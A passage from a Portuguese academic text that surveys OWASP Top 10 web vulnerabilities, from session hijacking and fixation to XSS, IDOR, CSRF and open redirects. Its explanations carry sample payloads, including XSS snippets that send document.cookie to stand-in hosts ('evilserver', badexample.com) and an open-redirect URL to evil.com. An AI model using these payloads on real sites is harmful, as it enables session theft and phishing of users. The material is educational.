normalmente ocorre, o cookie é encaminhado desprotegido em toda a rede e é
capturado por um atacante que usa escutas na comunicação (passo 2). Enfim, o
atacante pode utilizar o cookie de autenticação roubado para fazer pedidos
arbitrários para a aplicação Web (passo 3), até que o cookie expire (DACOSTA et
al., 2012 apud (MONTEVERDE, 2014).

27
 Figura 1: Exemplo simplificado de Hijacking Attack
Fonte: (DACOSTA et al., 2012)

A Fixação de Sessão do inglês Session Fixation, acontece várias vezes

quando os identificadores de sessão (IDs) não são somente tokens de identificação,
porém também são autenticadores. Significando que posteriormente a
autenticação, os usuários são reconhecidos com base em suas credenciais (por
exemplo, nomes de usuário/senhas ou certificados digitais) e os IDs de sessão
servem de forma efetiva como senhas estáticas temporárias para entrada a
aplicação. Essa abordagem, no entanto, ignora a probabilidade de um intruso emitir
um ID de sessão para o navegador do usuário, obrigando o navegador a utiliza-lo
para a sessão escolhida. Isso acontece quando um identificador de sessão usuário
foi fixado antecipadamente em vez de ter sido gerado aleatoriamente no momento
da autenticação (KOLŠEK, 2002 apud MONTEVERDE, 2014).
A Figura 2 ilustra uma demonstração simples de fixação de sessão usando
IDs transportados na própria URL. O http://online.worldbank.dom Web Server
hospeda um serviço de Web banking, os IDs de sessão são conduzidos a partir do
navegador para o servidor através de uma URL com o parâmetro sessionid.

28
Inicialmente, o atacante que, neste caso, ao mesmo tempo é um usuário legítimo
do sistema se registra no servidor (1) e lhe é emitido o session ID 1234 (2). O
atacante, então, emite a URL http://online.worldbank.dom/login.jsp?sessionid=1234
para a vítima que também é utilizador do Web banking, tentando atraír a acessá-lo
(3). O usuário (como conveniente para o nosso exemplo) acessa a URL, que expõe
página de autenticação do servidor no seu navegador (4). Nota-se que mediante
recebimento do pedido de login.jsp?sessionid=1234, a aplicação Web já tem
constituído uma sessão para este usuá- 14 rio e uma nova não deve ser inventada.
Por fim, o usuário fornece suas credenciais ao script de autenticação (5) e o servidor
outorga a entrada a sua conta bancária. Porém, neste ponto, sabendo a
identificação da sessão, o atacante também pode acessar a conta do usuário via
account.jsp?sessionid=1234 (6). Uma vez que a sessão já foi ligada anteriormente
que a vítima estivesse autenticada, então se diz que vitima esta autenticada na
sessão do atacante (MONTEVERDE, 2014).

Figura 2: Exemplo simplificado de Session Fixation

Fonte: (KOLŠEK, 2002)

29
 O exemplo apresentado na Figura 2 é o mais simples e menos perigoso dos
ataques de fixação de sessão e tem muitas falhas (para o atacante), tais como: ele
tem que ser um usuário legítimo no servidor de destino e tem que enganar o usuário
para se autenticar através da URL pré-definida pelo atacante. Entretanto, existem
outras maneiras de fixação de sessão como Session ID in a hidden form field que
redireciona a vítima para um servidor Web falso para capturar suas credenciais e
fixar uma sessão (MONTEVERDE, 2014).

5 SCRIPTS ENTRE SITES

O ataque Scripts Entre Sites, do inglês Cross-Site Scripting (XSS), é um tipo

de ataque de injeção que acontece quando um atacante utiliza uma aplicação Web
para encaminhar o código malicioso ao navegador do usuário, que por sua vez o
executa, dando assim entrada a dados do navegador do cliente, como cookies de
sessão do usuário. Ataques XSS podem acontecer em qualquer lugar da aplicação
Web que mostra entradas de usuários como saídas na aplicação sem nenhuma
validação prévia dos dados de entrada (OWASP, 2013ª apud MONTEVERDE,
2014).
Segundo a OWASP existem três tipos de ataques XSS conhecidos: o
persistente (stored), o refletido (reflected) e o fundamentado em DOM (Document
Object Model) (DOM based). No ataque XSS do tipo persistente, o atacante se
utiliza de uma entrada na aplicação Web para gravar o código malicioso no lado do
servidor, por exemplo nas publicações de um blog. Em seguida devido o não
tratamento de dados de saída da aplicação, qualquer usuário que visualizar os
posts, recuperá o código malicioso e padecerá o ataque XSS exibindo assim todos
os dados comprimidos em seu navegador (VOGT et al., 2007 apud MONTEVERDE,
2014). O exemplo de código javascript no Quadro 8 quando executado no
navegador do cliente envia um cookie para um servidor controlado pelo atacante
(MONTEVERDE, 2014).

30
 Olhe essa foto!

<img src = ‘’image.jpg’’>

< script >

document.images [ 0 ] . src = " http://evilserver/image.jpg? stolencookie ="

document.cookie ;

Quadro 8: Exemplo XSS persistente armazenado em um post

No ataque XSS do tipo refletido o código malicioso não é persistido na

aplicação Web, ao invés disso é prontamente refletido no navegador do usuário. O
atacante então seduz o usuário para uma página Web maliciosa ou o leva a acessar
um link encaminhado por e-mail. Neste momento o navegador do usuário executa
o script malicioso e começa uma requisição GET ou POST passando parâmetros
selecionados pelo atacante durante a execução do código como cookies de sessão
e dados sensíveis armazenados no navegador do usuário (PELIZZI; SEKAR, 2012
apud MONTEVERDE, 2014). O código do Quadro 9 ilustra um link malicioso
encaminhado ao usuário.

http://example.com/index.php? user =<script >window.onload = function ( )

{ var AllLinks=document.getElementsByTagName ( " a " ) ; AllLinks [ 0 ].href =

" http:// badexample.com/document.cookie ; " } </script>

Quadro 9: Exemplo XSS Refletido.

31
 O ataque XSS fundamentado em DOM é um tipo de ataque que transforma
o ambiente DOM do navegador do usuário explorando scripts existentes na
aplicação Web, para se comportarem de forma impensada. Como consequência a
página Web não modifica, mas o código contido no lado do cliente muda devido a
alterações no ambiente DOM da página se tornando malicioso e executando ações
distintas do esperado (OWASP, 2013ª apud MONTEVERDE, 2014). O código do
Quadro 10 mostra a estrutura de uma página Web vulnerável ao ataque XSS
baseado em DOM (MONTEVERDE, 2014).

< html >

<head>

</head>

<body>

<h1> Selecione sua Linguagem : </ h1>

<select>

<script >

document.write ("<OPTION value=1>"+ document.location . href.substring (

document .location.href.indexOf ( " default = " ) + 8 ) + " </OPTION > " ) ;

document.write (" <OPTION value =2> English </OPTION > " ) ;

</script >

</select >

</body >

</html >

32
 Quadro 10: Exemplo XSS Baseado em DOM

Quando a página Web é exposta a URL no navegador é parecido ao link 1

do Quadro 11. Um ataque baseado em DOM pode ser deferido encaminhando o
link 2 do Quadro 11 ao usuário. Ao acessar o link o navegador responde com a
página que contém o código javascript descrito. O navegador então inventa um
objeto DOM no qual o objeto document.location usa o código . Nota-se que a
resposta HTTP enviada do servidor não contém carga do atacante, esta carga se
mostra no script do lado do cliente em tempo de execução. Quando um código
malicioso acessa o document.location que é a variável DOM, o navegador nesse
momento assume então que o código não é malicioso e o executa (OWASP, 2013ª
apud MONTEVERDE, 2014).

1 − http://www.some.site/page.html ? default = Portugues

2 − http://www.some.site/page.html ? default =< script > alert ( document.cook e ) </script >

Quadro 11: Exemplo de XSS Basedo em DOM

6 REFERÊNCIA INSEGURA A OBJETO DIRETO

A Referência Insegura a Objeto Direto, do inglês Insecure Direct Object

Reference acontece quando se mostra diretamente uma referência para um objeto
interno da aplicação, como um arquivo de configuração ou uma chave que faz
referência direta ao de banco de dados. Sem uma política adequada de verificação
de acesso, atacantes podem manipular referências internas da aplicação e acessar
dados sensíveis sem autorização (TEN, 2013 apud MONTEVERDE, 2014).
Quando se é possível identificar referências específicas a objetos internos
da aplicação como por exemplo id’s de usuário, referências a conteúdos privados
referênciados por id’s específicos, atacantes podem controlar externamente tal
referência as manipulando. Um exemplo é a manipulação de parâmetros em uma
33
URL, quando encaminhado um parâmetro adulterado a aplicação pode ceder
acesso a dados não autorizados (HINRICHS et al., 2013 apud MONTEVERDE,
2014).
O trecho de código do Quadro 12 exemplifica que o aplicativo utiliza dados
não verificados em uma chamada SQL que está acessando as informações da
conta de um usuário (MONTEVERDE, 2014).

Stringquery="SELECT * FROM accts WHERE account = ? " ;

PreparedStatement pstmt = connection . prepareStatement ( query , . . . ) ;

pstmt.setString ( 1 , request.getParameter ( " acct " ) ) ;

ResultSet results = pstmt.executeQuery ( ) ;

http:// example.com/app/accountInfo?acct = notmyacct

Quadro 12: Exemplo de Referência Insegura a Objeto Direto.

O atacante pode mudar o parâmetro ’acct’ em seu navegador para emitir

qualquer número de conta. Se o parâmetro não for verificado, o atacante pode
acessar qualquer conta de usuário, em vez de somente a conta do cliente
pretendido (OWASP, 2013ª apud MONTEVERDE, 2014).

7 CONFIGURAÇÃO INCORRETA DE SEGURANÇA

As vulnerabilidades decorrentes de Configurações Incorretas de

Segurança, do inglês Security Misconfiguration, envolvem a ausência de
configurações seguras inseridas aplicações Web, arcabouços, servidores de
aplicação, servidores Web, e servidores de banco de dados. Todas as
configurações carecem de ser decididas e conservadas com fortes regras de
segurança. Todos os elementos de software envolvidos necessitam ser sustentados
34
atuais abarcando até mesmo todas as bibliotecas usadas pelo software (OWASP,
2013ª apud MONTEVERDE, 2014).
Eshete et al. (2011) apud Monteverde (2014), garante que os riscos da
configuração incorreta de segurança vão de acesso não autorizado a alguns dados
do sistema até funcionalidades que danifiquem um sistema completo. Isto é ainda
mais agravado pelo fato de um único meio (host) ser utilizado várias vezes para
abrigar várias aplicações Web em comum, por exemplo, um servidor Web
compartilhado. Adicionalmente, instâncias inseguras de uma configuração podem
ser multiplicadas com riscos potenciais (MONTEVERDE, 2014).
A seguir são descritos 2 cenários de vulnerabilidades decorrentes de
configuração incorreta:
∙ Cenário 1: o console de administração do servidor de aplicações é
automaticamente instalado e não extraído e as contas padrões não são mudadas.
O atacante descobre as páginas de administração padrão que permanecem no
servidor, então autentica-se no servidor com senha padrão e adquire o controle
(MONTEVERDE, 2014).
∙ Cenário 2: a listagem de diretórios não está desabilitada em seu servidor.
O atacante pode listar os diretórios para localizar qualquer arquivo. O atacante
então encontra e acessa todas as classes Java reunidas, descompila utilizando
ferramentas de engenharia reversa para alcançar todo o código personalizado.
Podendo então desvendar falhas no código permitindo assim a exploração da
aplicação Web (OWASP, 2013ª apud MONTEVERDE, 2014).

8 EXPOSIÇÃO DE DADOS SENSÍVEIS

A Exposição de Dados Sensíveis do inglês, Sensitive Data Exposure,

corresponde todos os dados privados passíveis de interceptação. Dados
guardados, em trânsito e até mesmo dados comprimidos nos navegadores dos
clientes. Geralmente os atacantes obram, roubando chaves, fazendo ataques man-
in-the-middle 3, ou interceptando dados em texto simples fora do servidor, durante

35
o trânsito na rede, ou a partir do navegador do usuário (OWASP, 2013ª apud
MONTEVERDE, 2014). Mesmo com o uso de criptografia quando essa é fraca pode
danificar os dados em trânsito e falhas no navegador Web também são muito
comuns e simples de se detectar, mas são complexas de procurar em larga escala
(VIJAYARANI; TAMILARASI, 2011 apud MONTEVERDE, 2014).

Figura 3: Exemplo de captura de dados na rede

A Figura 3 expõe a interceptação das credenciais do usuário no período da

autenticação por um dispositivo Android usando o programa Intercept-NG (ARES,
2013 apud MONTEVERDE, 2014) integrado a mesma rede. Os dados foram
interceptados usando uma variação do ataque man in the middle chamado SSL
Stripping 4 (MONTEVERDE, 2014).

9 FALTA DE CONTROLE EM NÍVEL DE ACESSO

Ataques que exploram a Falta de Controle em Nível de Acesso, do inglês

Missing Function Level Access Control, abrangem uma série de choques na
estrutura de controle de acesso da aplicação. Dependendo de restrições e
privilégios da conta, o usuário acessa um determinado nível de funcionalidades da
aplicação. Depois do pedido de acesso, o aplicativo emite um sinal de admissão
36
para o usuário. No entanto, no caso de usuários não seguros, cargos administrativos
tornam-se mira de acessos não autorizados (KOSHUTANSKI; MASSACCI, 2008
apud MONTEVERDE, 2014).
Um atacante autenticado com nível de acesso limitado pode facilmente
obrigar a navegação para URLs restritas. As URLs a seguir determinam
autenticação, logo direitos de administrador também são precisos para acesso à
página admin_getappInfo como exposto no Quadro 13 (MONTEVERDE, 2014).

http://example.com/app/getappInfo

http://example.com/app/admin\ _ getappInfo

Quadro 13: Exemplo de Falta de Controle em Nível de Acesso.

Se um usuário não autenticado pode acessar qualquer página, isso é uma

falha. Se o usuário tem autorização para acessar a página admin_getappInfo, isso
também é uma falha, e pode levar um atacante para páginas de administração
protegidas de forma imprópria (MONTEVERDE, 2014).

10 FALSIFICAÇÃO DE SOLICITAÇÃO ENTRE SITES

Falsificação de Solicitação entre Sites, do inglês Cross-Site Request

Forgery (CSRF), é um tipo de ataque que engana a vítima encaminhando-a para
uma página Web com um conteúdo malicioso. No momento do ataque CSRF, o
atacante herda a identidade e os privilégios da vítima por meio da página Web
maliciosa, podendo desta forma executar uma ação indesejada em nome da vítima,
que pode ser de um envio de e-mail até uma compra online. Este tipo de ataque
opera especialmente em funções que alteram o estado do servidor Web, mas
também pode ser utilizado para acessar dados confidenciais das vítimas
(MONTEVERDE, 2014).

37
 A maior parte dos sítios Web tem mecanismos que conserva o usuário
autenticado utilizando o seu navegador, como por exemplo, cookies de sessão,
credenciais de autenticação básica, endereço IP. Assim sendo, quando um usuário
está autenticado em um sítio o mesmo não tem como saber se o pedido foi feito por
um usuário legítimo. Desta forma então, o atacante de posse de dados que o
autentiquem no site pode executar várias ações indesejadas sem o conhecimento
antecedente da vítima (OWASP, 2013ª apud MONTEVERDE, 2014).
Conforme Barth et al. (2008) apud Monteverde (2014), um ataque CSRF
rompe a integridade da sessão do usuário com um determinado sítio, injetando
solicitações de rede por meio do navegador da vítima. Os navegadores Web por
meio de suas políticas de segurança deixam que sítios Web encaminhem
solicitações HTTP de qualquer endereço de rede. Por sua vez, essa política tolera
que o atacante possa controlar o conteúdo processado pelo navegador em seu favor
(MONTEVERDE, 2014).

Figura 4: Exemplo de ataque Cross-Site Request Forgery (CSRF)

Fonte: (BARTH et al., 2008)

38
 A Figura 4 ilustra um ataque CSRF aonde a vítima ao acessar a página Web
maliciosa é desviada ao sítio Web www.google.com, fazendo que a vítima se
autentique, o atacante então sequestra os cookies do usuário e se autentica no site
se passando pelo usuário. Mais tarde a vítima faz buscas e o atacante tem acesso
a todo seu histórico de procuras (MONTEVERDE, 2014).

11 USANDO COMPONENTES COM VULNERABILIDADES CONHECIDAS

O Uso de Componentes com Vulnerabilidades Conhecidas, do inglês Using

Components with Known Vulnerabilities, acontece quando certos elementos das
aplicações Web, tais como arcabouços, bibliotecas, URL específicas, funções de
redirecionamento são vulneráveis. O atacante pode utilizar desses elementos, para
comprometer as aplicações. Falhas relacionadas a componentes são muito
complexos de identificar. Estas falhas permanecem em aproximadamente todas as
aplicações online ou infraestrutura dos Websites. Em outras palavras, dado que
uma biblioteca ou arcabouço têm alguma falha em seu site, ele pode induzir a
ataques de injeção SSL, ataques XSS, ataques remotos e outros ataques podem
ser concretizados. Em casos graves, um acesso completo ao servidor Web
(OWASP, 2013ª apud MONTEVERDE, 2014).
Os acessos a informações sobre vulnerabilidades de software podem ser
com facilidade localizados em repositórios de desenvolvimento de aplicações de
código aberto. Essas vulnerabilidades acontecem durante o ciclo de vida do produto
e estão alastradas por numerosos repositórios de software. Além disso, em grandes
repositórios de software, uma única vulnerabilidade pode se ampliar por vários
componentes e ter interações multidimensionais com outras vulnerabilidades. De tal
modo, identificar os padrões de ocorrência de uma vulnerabilidade no contexto de
desenvolvimento de software permanece a ser um problema em aberto (OWASP,
2013ª apud MONTEVERDE, 2014).

39
 Vulnerabilidades de componentes causam vários tipos de riscos, desde
riscos triviais a códigos maliciosos aprimorados projetados para alcançar uma
organização específica. Componentes com falhas quase sempre podem
comprometer por completo aplicações inteiras. Um exemplo ocorrido em 2011 com
o Apache CXF Authentication Bypass ao não aprovisionar um token de identidade,
consentia aos atacantes invocar qualquer serviço Web com permissão total (WU et
al., 2010 apud MONTEVERDE, 2014).

12 ENCAMINHAMENTO E REDIRECIONAMENTOS INVALIDADOS

Os Encaminhamentos e Redirecionamentos Invalidados do Inglês,

Unvalidated Redirect & Forwards, ocorrem quando a aplicação Web aceita entrada
de dados não garantidos, que façam que a aplicação seja redirecionada por uma
solicitação HTTP alterada. Quando o atacante muda a URL para um sítio malicioso
pode conseguir sucesso ao lançar um ataque de phishing e roubar dados sensíveis
do usuário como login e senha. Como o nome da URL tem uma aparência confiável
ao do sítio original as tentativas de phishing podem ter sucesso (OWASP, 2013ª
apud MONTEVERDE, 2014).
Os exemplos a seguir apresentam esse tipo de ataque: Cenário 1: A
aplicação tem uma página chamada "redirect.jsp" que utiliza um único parâmetro
chamado "url". O atacante muda o parametro "url" com o endereço de um sítio
malicioso que redireciona os usuários para o sítio que consegue phishing e instala
o malware (OWASP, 2013ª apud MONTEVERDE, 2014). O Quadro 14 exemplifica
o URL completa.

http:// www.example.com/redirect.jsp?url=evil.com

40
 Quadro 14: Exemplo de Encaminhamento e Redirecionamentos
Invalidados.

Cenário 2: O aplicativo utiliza um redirecionamento para rotear pedidos

entre as distintas partes da aplicação. Para promover isso, determinadas páginas
usam um parâmetro para indicar onde o usuário deve ser enviado se uma transação
é bem-sucedida. Neste caso, o atacante modifica a URL que vai redirecionar o
acesso do aplicativo, logo em seguida, realiza o redirecionamento para a parte
administrativa acessando assim a página não autorizada (TEN, 2013 apud
MONTEVERDE, 2014). O Quadro 15 exemplifica o url completa.

http://www.example.com/ boring.jsp? fwd=admin.jsp

Quadro 15: Exemplo de Encaminhamento e Redirecionamentos

Invalidados 2.

41
13 REFERÊNCIAS

MCCLURE, S.; SCAMBRAY, J.; KURTZ, G. Hackers expostos: segredo e

soluções para a segurança de redes. 7. ed. Porto Alegre: Bookman, 2014.
MONTEVERDE; W. A. Estudo e Análise de Vulnerabilidades Web. Universidade
Tecnológica Federal do Paraná Curso Superior de Tecnologia em Sistemas para
Internet. 2014.
FELIPE; F. BARBOZA; M. Segurança De Sistemas Da Informação. 2018
SANTOS, A. H. O. Análise de vulnerabilidades: o que é e qual a importância
para a organização? União Geek, 27 jan. 2018. Disponível em:
<https://www.uniaogeek.com. br/analise-de-vulnerabilidades-importancia/>. Acesso
em: 23 dez. 2018.
TAHA, A. M. C. Guia de testes de segurança para aplicações web. Florianópolis
- SC 2017
WADE, E. 10 common security vulnerabilities. Veracode, 2 nov. 2015. Disponível
em: <https://www.veracode.com/blog/2015/09/10-common-security-vulnerabilities-
and-markets-they-impact-sw>. Acesso em: 23 dez. 2018.

42